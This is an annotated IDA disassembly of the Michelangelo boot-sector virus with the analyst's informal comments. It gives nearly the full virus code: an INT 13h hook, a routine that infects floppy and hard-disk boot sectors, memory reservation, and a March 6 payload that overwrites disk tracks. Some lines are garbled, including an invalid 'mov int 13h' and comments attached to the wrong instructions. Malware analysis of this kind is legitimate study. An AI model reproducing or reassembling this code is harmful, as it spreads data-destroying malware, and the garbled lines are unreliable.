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seg000:7C00 ;
seg000:7C00 ; +-----+
seg000:7C00 ; | This file was generated by The Interactive Disassembler (IDA) |
seg000:7C00 ; | Copyright (c) 2022 Hex-Rays, <support@hex-rays.com> |
seg000:7C00 ; | License info: 48-3051-7114-0E |
seg000:7C00 ; | LSU (Louisiana State University), Academic licenses |
seg000:7C00 ; +-----+
seg000:7C00 ;
seg000:7C00 ; Input SHA256 : B8A70F4A55E3EF8F59363FDF1F6ECD8761F3B8CEF8DB122EB0B2081B8C4CCD0E
seg000:7C00 ; Input MD5 : 3FFC402675E30C6E42560EAA0A90A2B7
seg000:7C00 ; Input CRC32 : 827C7725
seg000:7C00 ;
seg000:7C00 ; -----
seg000:7C00 ; File Name : C:\Users\golden\Documents\Downloads\michelangelo-sample\michelangelo.1
seg000:7C00 ; Format : Binary file
seg000:7C00 ; Base Address: 0000h Range: 0000h - 0200h Loaded length: 0200h
seg000:7C00 ;
seg000:7C00 ; .686p
seg000:7C00 ; .mmx
seg000:7C00 ; .model small
seg000:7C00 ;
seg000:7C00 ; =====
seg000:7C00 ; Segment type: Pure code
seg000:7C00 seg000 segment byte public 'CODE' use16
seg000:7C00 ; assume cs:seg000
seg000:7C00 ; org 7C00h
seg000:7C00 ; assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:7C00 ; jmp loc_7CAF ; before anything, jump here
seg000:7C00 ; -----
seg000:7C03 unk_7C03 db 0F5h ; DATA XREF: seg000:7CF0↓r
seg000:7C04 db 0
seg000:7C05 word_7C05 dw 0 ; DATA XREF: seg000:7CD8↓w
seg000:7C07 db 2
seg000:7C08 dw 0Eh
seg000:7C0A dword_7C0A dd 0F0009739h ; DATA XREF: seg000:7CC1↓w
seg000:7C0A ; seg000:7CC7↓w
seg000:7C0E ; -----
seg000:7C0E push ds
seg000:7C0F push ax ; saves ax and ds to the stack
seg000:7C10 or dl, dl ; check drive letter and set appropriate flags
seg000:7C12 jnz short loc_7C2F ; use real handler if main drive is not used.
seg000:7C14 xor ax, ax ; zero out ax
seg000:7C16 mov ds, ax ; assign data segment to 0
seg000:7C18 test byte ptr ds:43Fh, 1 ; is the motor already running?
seg000:7C1D jnz short loc_7C2F ; Yes? Hand off to the real handler.
seg000:7C1F pop ax
seg000:7C20 pop ds ; No? Continue by restoring ax and ds
seg000:7C21 pushf ; save the flags
seg000:7C22 call dword ptr cs:0Ah ; call the real int13 handler
seg000:7C27 pushf ; save all the flags
seg000:7C28 call sub_7C36 ; Start the infection call
seg000:7C2B popf ; restore flags
seg000:7C2C retf 2 ; return to original function and discard the flags
seg000:7C2F ; -----
seg000:7C2F loc_7C2F: ; CODE XREF: seg000:7C12↑j
seg000:7C2F ; seg000:7C1D↑j
seg000:7C2F pop ax
seg000:7C30 pop ds ; restore ax, ds
seg000:7C31 jmp dword ptr cs:0Ah ; calls the real handler
seg000:7C36 ; ===== S U B R O U T I N E =====
seg000:7C36 ;
seg000:7C36 sub_7C36 proc near ; CODE XREF: seg000:7C28↑p
seg000:7C36 push ax
seg000:7C37 push bx
seg000:7C38 push cx
seg000:7C39 push dx
seg000:7C3A push ds
seg000:7C3B push es
seg000:7C3C push si
seg000:7C3D push di ; save all the registers to the stack
seg000:7C3E push cs ; save cs to the stack so

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seg000:7C3F      pop     ds             ; when we pop ds,,, ds == cs
seg000:7C40      push    cs
seg000:7C41      pop     es             ; repeat it again, but this time for es
seg000:7C42      mov     si, 4          ; read operations now run four times
seg000:7C45      loc_7C45:           ; CODE XREF: sub_7C36+29↓j
seg000:7C45      mov     ax, 201h        ; read one sector
seg000:7C48      mov     bx, 200h        ; buffer is now 200h after the virus. (200h = 512 bytes)
seg000:7C4B      mov     cx, 1           ; ch = 0, cl = 1 ||| a.k.a. ready track 0, sector 1
seg000:7C4E      xor     dx, dx          ; zero out dx, so dh && dl = 0. ||| dh is head number and dl is the drive
seg000:7C50      pushf                    ; save flags
seg000:7C51      call    dword ptr ds:0Ah ; call real handler for boot
seg000:7C55      jnb     short loc_7C63   ; if read happened, jump here
seg000:7C57      xor     ax, ax          ; zero out the ax
seg000:7C59      pushf                    ; save flags
seg000:7C5A      call    dword ptr ds:0Ah ; call the real handler upon reset
seg000:7C5E      dec     si              ; decrement read operations attempts
seg000:7C5F      jnz     short loc_7C45   ; loop back until si = 0
seg000:7C61      jmp     short loc_7CA6   ; Give up on infecting
seg000:7C63      ; -----
seg000:7C63      loc_7C63:           ; CODE XREF: sub_7C36+1F↑j
seg000:7C63      xor     si, si          ; zero out si, to read the beginning of the virus
seg000:7C65      cld                    ; change system to increment si instead of decrement
seg000:7C66      lodsw                    ; load the first bit of data at [ds:si]
seg000:7C67      cmp     ax, [bx]        ; does beginning of the virus match the first bytes on the floppy?
seg000:7C69      jnz     short loc_7C71   ; No?? Begin infection process
seg000:7C6B      lodsw                    ; try the second set of data [di + 1:si + 1]
seg000:7C6C      cmp     ax, [bx+2]      ; Repeat first compare, but on second data
seg000:7C6F      jz      short loc_7CA6   ; No, this time? Jump and infect!
seg000:7C71      loc_7C71:           ; CODE XREF: sub_7C36+33↑j
seg000:7C71      mov     ax, 301h        ; make ax the write function. (Ready to write one sector)
seg000:7C74      mov     dh, 1           ; assign dh (head #) to 1
seg000:7C76      mov     cl, 3           ; assign cl to 3, so cx = 0 3. track 0, sector 3
seg000:7C78      cmp     byte ptr [bx+15h], 0FDh ; examine media descriptor in boot code
seg000:7C7C      jz      short loc_7C80   ; its a 360k floppy, backup location is good to go
seg000:7C7E      mov     cl, 0Eh         ; non-360k floppy, adjust backup location to 14th sector
seg000:7C80      loc_7C80:           ; CODE XREF: sub_7C36+46↑j
seg000:7C80      mov     ds:8, cx        ; save backup boot sector inside the virus body
seg000:7C84      pushf                    ; save flags
seg000:7C85      call    dword ptr ds:0Ah ; call teh real handler to rewrite the boot sector
seg000:7C89      jb     short loc_7CA6   ; error? Abort! jump and quit infection
seg000:7C8B      mov     si, 3BEh        ; source of copy. ds:si (partition table: signature)
seg000:7C8E      mov     di, 1BEh        ; destination of the copy es:di (partition table/ signature)
seg000:7C91      mov     cx, 21h ; '!'   ; copy 33 words or 66 bytes
seg000:7C94      cld                    ; start incrementing si, ds
seg000:7C95      rep movsw                ; start copy
seg000:7C97      mov     ax, 301h        ; write to one sector
seg000:7C9A      xor     bx, bx          ; zero out bx, because es:bx is the buffer. es:0000 is the start of the vi
seg000:7C9C      mov     cx, 1           ; write one sector
seg000:7C9F      xor     dx, dx          ; zero out dx, to use floppy A
seg000:7CA1      pushf                    ; save flags
seg000:7CA2      call    dword ptr ds:0Ah ; call the real int13 to overwrite the boot sector
seg000:7CA6      loc_7CA6:           ; CODE XREF: sub_7C36+2B↑j
seg000:7CA6      ; sub_7C36+39↑j ...
seg000:7CA6      pop     di
seg000:7CA7      pop     si
seg000:7CA8      pop     es
seg000:7CA9      pop     ds
seg000:7CAA      pop     dx
seg000:7CAB      pop     cx
seg000:7CAC      pop     bx
seg000:7CAD      pop     ax
seg000:7CAE      retn                    ; End Infection, heh sucker!
seg000:7CAE      sub_7C36      endp
seg000:7CAE      ; -----
seg000:7CAF      loc_7CAF:           ; CODE XREF: seg000:7C00↑j
seg000:7CAF      xor     ax, ax          ; zero out ax, and make ds = 0
seg000:7CB1      mov     ds, ax
seg000:7CB3      cli                    ; turn off interrupts
seg000:7CB4      mov     ss, ax          ; stack segment = 0
seg000:7CB6      mov     ax, 7C00h       ; assign ax 7C00, the load address of the virus

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seg000:7CB9      mov     sp, ax          ; place the stack pointer at teh ebeginning of the virus
seg000:7CBB      sti     ; restore interrupts
seg000:7CBC      push    ds
seg000:7CBD      push    ax          ; push ds, ax so control can return to the original boot easier
seg000:7CBE      mov     ax, ds:4Ch      ; assign ax the real handler offset. (4Ch = 13h *4)
seg000:7CC1      mov     word ptr ds:dword_7C0A, ax ; save the original offset
seg000:7CC4      mov     ax, ds:4Eh      ; assign ax the handlers address segment ( 4Eh = 13h *4 + 2)
seg000:7CC7      mov     word ptr ds:dword_7C0A+2, ax ; save the memory address segment
seg000:7CCA      mov     ax, ds:413h      ; obtain total memory size of floppy
seg000:7CCD      dec     ax
seg000:7CCE      dec     ax          ; decrement the memory size by 2k
seg000:7CCF      mov     ds:413h, ax      ; return the smaller memory size
seg000:7CD2      mov     cl, 6          ; cl = 6
seg000:7CD4      shl     ax, cl          ; convert to 16 bit value
seg000:7CD6      mov     es, ax          ; the 0 offset of es is for the stolen block of 2k memory
seg000:7CD8      mov     ds:word_7C05, ax ; save the address of this block of memory
seg000:7CDB      mov     ax, 0Eh          ; adjust the offset of the evil Int13 handler
seg000:7CDE      mov     ds:4Ch, ax      ; save the new int 13 handler address
seg000:7CE1      mov     word ptr ds:4Eh, es ; save the new int 13 handler segment
seg000:7CE5      mov     cx, 1BEh      ; copy 446 bytes of the virus code
seg000:7CE8      mov     si, 7C00h      ; source of the copy is gonna be at 7C00
seg000:7CEB      xor     di, di          ; zero out di so its higher memory (0000:7C00)
seg000:7CED      cld
seg000:7CEE      rep movsb ; copy ds:si into es:di
seg000:7CF0      jmp     dword ptr cs:unk_7C03 ; Dynamic jump to higher memory
seg000:7CF5      ; -----
seg000:7CF5      xor     ax, ax          ; zero out ax
seg000:7CF7      mov     es, ax          ; es = 0
seg000:7CF9      int     13h          ; DISK - RESET DISK SYSTEM
seg000:7CF9      ; DL = drive (if bit 7 is set both hard disks and floppy disks reset)
seg000:7CFB      push    cs          ; save cs so that
seg000:7CFC      pop     ds          ; ds = cs
seg000:7CFD      mov     ax, 201h      ; read one sector
seg000:7D00      mov     bx, 7C00h      ; read one sector at es:bx (0000:7C00)
seg000:7D03      mov     cx, ds:8          ; get the back up boot sector
seg000:7D07      cmp     cx, 7          ; is it sector 7? It's a backup hard drive
seg000:7D0A      jnz     short loc_7D13 ; no??? jump here to skip the hard drive portion
seg000:7D0C      mov     dx, 80h      ; read the first sector of the first hard drive
seg000:7D0F      int     13h          ; DISK - READ SECTORS INTO MEMORY
seg000:7D0F      ; AL = number of sectors to read, CH = track, CL = sector
seg000:7D0F      ; DH = head, DL = drive, ES:BX -> buffer to fill
seg000:7D0F      ; Return: CF set on error, AH = status, AL = number of sectors read
seg000:7D11      jmp     short loc_7D3E ; skip the floppy handling code
seg000:7D13      ; -----
seg000:7D13      loc_7D13:
seg000:7D13      mov     cx, ds:8          ; CODE XREF: seg000:7D0A↑j
seg000:7D13      mov     dx, 100h      ; get teh back up boot sector #
seg000:7D17      mov     int     13h      ; dh = 1, dl = 0. head 1, drive 0 ( drive A)
seg000:7D1A      int     13h          ; DISK -
seg000:7D1C      jb     short loc_7D3E ; Error occured? Is it my birthday?
seg000:7D1E      push    cs
seg000:7D1F      pop     es          ; es = cs
seg000:7D20      mov     ax, 201h      ; read one sector
seg000:7D23      mov     bx, 200h      ; will read 512 bytes after teh start off the virus
seg000:7D26      mov     cx, 1          ; ch = 0, cl = 1. track 0, sector 1
seg000:7D29      mov     dx, 80h      ; read from teh first hard drive
seg000:7D2C      int     13h          ; DISK - READ SECTORS INTO MEMORY
seg000:7D2C      ; AL = number of sectors to read, CH = track, CL = sector
seg000:7D2C      ; DH = head, DL = drive, ES:BX -> buffer to fill
seg000:7D2C      ; Return: CF set on error, AH = status, AL = number of sectors read
seg000:7D2E      jb     short loc_7D3E ; Error? Is it my birthday?
seg000:7D30      xor     si, si          ; zero out si
seg000:7D32      cld
seg000:7D33      lodsw
seg000:7D34      cmp     ax, [bx]      ; get teh first 16-bit word from high memory of the virus.
seg000:7D36      jnz     short loc_7D87 ; word from virus matches the one from the boot sector?
seg000:7D38      lodsw
seg000:7D39      cmp     ax, [bx+2]    ; No? Let's change that, start infection
seg000:7D3C      jnz     short loc_7D87 ; load the second word from each
seg000:7D3E      ; Do these words also match?
seg000:7D3E      ; no? Infect it then
seg000:7D3E      loc_7D3E:
seg000:7D3E      ; CODE XREF: seg000:7D11↑j
seg000:7D3E      ; seg000:7D1C↑j ...
seg000:7D3E      xor     cx, cx          ; zero out cx
seg000:7D40      mov     ah, 4          ; get the current date and time
seg000:7D42      int     1Ah          ; CLOCK - READ DATE FROM REAL TIME CLOCK (AT,XT286,CONV,PS)
seg000:7D42      ; Return: DL = day in BCD
seg000:7D42      ; DH = month in BCD

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seg000:7D42                ; CL = year in BCD
seg000:7D42                ; CH = century (19h or 20h)
seg000:7D44                cmp     dx, 306h      ; Is it March 6th?
seg000:7D48                jz      short loc_7D4B ; Yes?! Time to get to work!!
seg000:7D4A                retf     ; No?... Man, go back to what you were doing then...
seg000:7D4B ; -----
seg000:7D4B loc_7D4B:                ; CODE XREF: seg000:7D48↑j
seg000:7D4B                xor     dx, dx      ; set dx to head 0, drive A
seg000:7D4D                mov     cx, 1       ; set cx to track 0, sector 1
seg000:7D50                ; CODE XREF: seg000:7D7F↓j
seg000:7D50                ; seg000:7D85↓j
seg000:7D50                mov     ax, 309h    ; write 9 sectors
seg000:7D53                mov     si, ds:8    ; get the backup boot sector.
seg000:7D57                cmp     si, 3       ; 360k floppy??
seg000:7D5A                jz      short loc_7D6C ; Yes? jump ahead.
seg000:7D5C                mov     al, 0Eh    ; check to test non-360k floppy
seg000:7D5E                cmp     si, 0Eh    ; yes? Continue on
seg000:7D61                jz      short loc_7D6C ; Set dx to the first hard drive
seg000:7D63                mov     dl, 80h    ; assign disk heads to 4
seg000:7D65                mov     byte ptr ds:7, 4 ; since its a hard drive, write 17 sectors instead
seg000:7D6A                mov     al, 11h
seg000:7D6C loc_7D6C:                ; CODE XREF: seg000:7D5A↑j
seg000:7D6C                ; seg000:7D61↑j
seg000:7D6C                mov     bx, 5000h  ; random number for offset>
seg000:7D6F                mov     es, bx     ; random number for segment>
seg000:7D71                assume es:nothing
seg000:7D71                int     13h        ; DISK - WRITE SECTORS FROM MEMORY
seg000:7D71                ; AL = number of sectors to write, CH = track, CL = sector
seg000:7D71                ; DH = head, DL = drive, ES:BX -> buffer
seg000:7D71                ; Return: CF set on error, AH = status, AL = number of sectors written
seg000:7D73                jnb     short loc_7D79 ; no error? skip the reset of disk controller
seg000:7D75                xor     ah, ah     ; zero out ah, for the controller reset
seg000:7D77                int     13h        ; DISK - RESET DISK SYSTEM
seg000:7D77                ; DL = drive (if bit 7 is set both hard disks and floppy disks reset)
seg000:7D79 loc_7D79:                ; CODE XREF: seg000:7D73↑j
seg000:7D79                inc     dh         ; go to the next head
seg000:7D7B                cmp     dh, ds:7   ; have we gone through all the heads?
seg000:7D7F                jb      short loc_7D50 ; No? then why stop now, loop back
seg000:7D81                xor     dh, dh     ; reset head # back to 0
seg000:7D83                inc     ch         ; increment the track number by 1
seg000:7D85                jmp     short loc_7D50 ; Go destory the next set! Man, I love my job
seg000:7D87 ; -----
seg000:7D87 loc_7D87:                ; CODE XREF: seg000:7D36↑j
seg000:7D87                ; seg000:7D3C↑j
seg000:7D87                mov     cx, 7      ; back up boot is at sector 7. CX = ? 7
seg000:7D8A                mov     ds:8, cx   ; save the backup boot to the virus body
seg000:7D8E                mov     ax, 301h   ; write one sector
seg000:7D91                mov     dx, 80h    ; targetting the first hard drive
seg000:7D94                int     13h        ; DISK - WRITE SECTORS FROM MEMORY
seg000:7D94                ; AL = number of sectors to write, CH = track, CL = sector
seg000:7D94                ; DH = head, DL = drive, ES:BX -> buffer
seg000:7D94                ; Return: CF set on error, AH = status, AL = number of sectors written
seg000:7D96                jb      short loc_7D3E ; Error? Is it my Birthday>
seg000:7D98                mov     si, 3BEh   ; getting the partition table from the uninfected boot sector
seg000:7D9B                mov     di, 1BEh   ; picking the destination, the later half of the virus body
seg000:7D9E                mov     cx, 21h ; '!' ; copy 33 words, or 66 bytes
seg000:7DA1                rep movsw          ; perform the copy
seg000:7DA3                mov     ax, 301h   ; write one sector
seg000:7DA6                xor     bx, bx     ; Prepare to copy from high memory
seg000:7DA8                inc     cl         ; increment to copy sector 1
seg000:7DAA                int     13h        ; DISK - WRITE SECTORS FROM MEMORY
seg000:7DAA                ; AL = number of sectors to write, CH = track, CL = sector
seg000:7DAA                ; DH = head, DL = drive, ES:BX -> buffer
seg000:7DAA                ; Return: CF set on error, AH = status, AL = number of sectors written
seg000:7DAC                jmp     short loc_7D3E ; Error? Is it my Birthday?
seg000:7DAE ; -----
seg000:7DAE                db 50h dup(0), 55h, 0AAh ; Signature of boot sector and end of virus
seg000:7DAE seg000                ends
seg000:7DAE
seg000:7DAE
seg000:7DAE
seg000:7DAE                end

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